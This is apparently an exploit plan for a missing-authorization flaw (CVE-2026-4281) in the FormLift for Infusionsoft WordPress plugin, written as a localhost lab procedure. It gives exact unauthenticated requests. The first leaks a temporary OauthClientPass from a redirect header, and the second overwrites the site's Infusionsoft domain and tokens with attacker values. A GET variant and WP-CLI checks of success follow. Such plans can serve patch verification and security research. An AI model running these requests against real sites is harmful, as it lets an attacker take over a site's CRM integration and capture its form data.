Vulnerability Research Plan: CVE-2026-4281 (FormLift for Infusionsoft Hijack)

1. Vulnerability Summary

The FormLift for Infusionsoft Web Forms plugin (<= 7.5.21) contains a critical missing authorization vulnerability in the FormLift_Infusionsoft_Manager class. Specifically, the methods connect() and listen_for_tokens() are hooked to plugins_loaded and execute on every page load without verifying user capabilities or using nonces.

An unauthenticated attacker can trigger the OAuth connection flow to generate and leak a temporary "connection password" (OauthClientPass). The attacker can then use this password to invoke the token listener, allowing them to overwrite the site's Infusionsoft API credentials (appDomain, access_token, refresh_token) with values pointing to an attacker-controlled Infusionsoft application or a malicious proxy.

2. Attack Vector Analysis

• Endpoints: Any frontend or backend URL (since the vulnerable functions are hooked to plugins_loaded). Typically, the site root / or wp-admin/admin-ajax.php.
• Preconditions: The plugin must be active. No specific settings or existing connection is required.
• Vulnerable Parameters:
  • Trigger 1 (Password Generation): formlift_form_settings[activate_OAuth] (POST)
  • Trigger 2 (Token Update): OauthClientPass, appDomain, access_token, refresh_token, expires_in (GET/POST/REQUEST)
• Authentication: Unauthenticated (No user required).

3. Code Flow

1. Entry Point (Listener Registration):
   In modules/api/infusionsoft-manager.php, hooks are registered:

   add_action( 'plugins_loaded', array( 'FormLift_Infusionsoft_Manager', 'listen_for_tokens' ) );
   add_action( 'plugins_loaded', array( 'FormLift_Infusionsoft_Manager', 'connect' ) );
   

2. Triggering Password Leak (connect()):

   • The connect() method checks for isset( $_POST[ FORMLIFT_SETTINGS ]['activate_OAuth'] ). FORMLIFT_SETTINGS is defined as 'formlift_form_settings'.
   • It generates a password: $pass = wp_generate_password( 8, false, false );.
   • It stores it in a transient: set_transient( 'formlift_auth_pass', $pass, 60 * 5 );.
   • It redirects the user: wp_redirect( static::AUTH_URI . '?' . $query );.
   • The $query includes 'OauthClientPass' => $pass. Because there is no current_user_can() check, any visitor can trigger this and see the password in the Location header.

3. Exploiting Hijack (listen_for_tokens()):

   • The listen_for_tokens() method checks for isset( $_REQUEST['OauthClientPass'] ).
   • It verifies the provided password against the transient: if ( $pass != $_REQUEST['OauthClientPass'] ).
   • If valid, it extracts appDomain, access_token, refresh_token, and expires_in from $_REQUEST.
   • It calls update_option( 'Oauth_App_Domain', $app_domain );.
   • It calls static::$app->updateAndSaveTokens(...), which saves the tokens to the database.

4. Nonce Acquisition Strategy

No nonces are required.
The functions connect() and listen_for_tokens() do not utilize check_admin_referer(), check_ajax_referer(), or wp_verify_nonce(). The only "security" is the temporary password stored in a transient, which the attacker can obtain by triggering the first stage of the vulnerability.

5. Exploitation Strategy

Step 1: Obtain the temporary OauthClientPass

Send a POST request to the WordPress site. We must prevent the http_request tool from following redirects so we can capture the Location header.

• Request Type: POST
• URL: http://localhost:8080/
• Body: formlift_form_settings[activate_OAuth]=1
• Content-Type: application/x-www-form-urlencoded
• Expected Response: 302 Redirect.
• Extraction: Parse the Location header for the OauthClientPass parameter value.

Step 2: Inject Malicious Connection Tokens

Use the extracted password to overwrite the plugin's Infusionsoft settings.

• Request Type: POST (or GET)
• URL: http://localhost:8080/
• Body Parameters:
  • OauthClientPass: [EXTRACTED_PASSWORD]
  • appDomain: attacker-app.infusionsoft.com
  • access_token: MALICIOUS_ACCESS_TOKEN_12345
  • refresh_token: MALICIOUS_REFRESH_TOKEN_67890
  • expires_in: 3600
• Content-Type: application/x-www-form-urlencoded
• Expected Response: 302 Redirect (to the FormLift settings page).

6. Test Data Setup

1. Install and activate the FormLift plugin version 7.5.21.
2. No further configuration is necessary as the attack is unauthenticated and works on default installations.

7. Expected Results

• After Step 1, the response's Location header will contain a URL like https://formlift.net/oauth/?redirectUri=...&OauthConnect=true&OauthClientPass=ABCDEFGH.
• After Step 2, the WordPress database will be updated with the attacker's appDomain and tokens.

8. Verification Steps

Use WP-CLI to inspect the modified options:

1. Check the App Domain:
   wp option get Oauth_App_Domain
   Expected: attacker-app.infusionsoft.com
2. Check the Connection Status:
   wp option get oauth_last_status
   Expected: A string containing "Authorized token at [DATE] for app attacker-app.infusionsoft.com"
3. Check if Transient is Cleared:
   wp transient get formlift_auth_pass
   Expected: Error or empty (indicating the exploit successfully called delete_transient).

9. Alternative Approaches

If POST is blocked for some reason on Step 1, note that connect() specifically checks $_POST, so POST is required for the initial leak. However, listen_for_tokens() uses $_REQUEST, so Step 2 can be performed via a simple GET request:
GET /?OauthClientPass=PASS&appDomain=...&access_token=...&refresh_token=...&expires_in=3600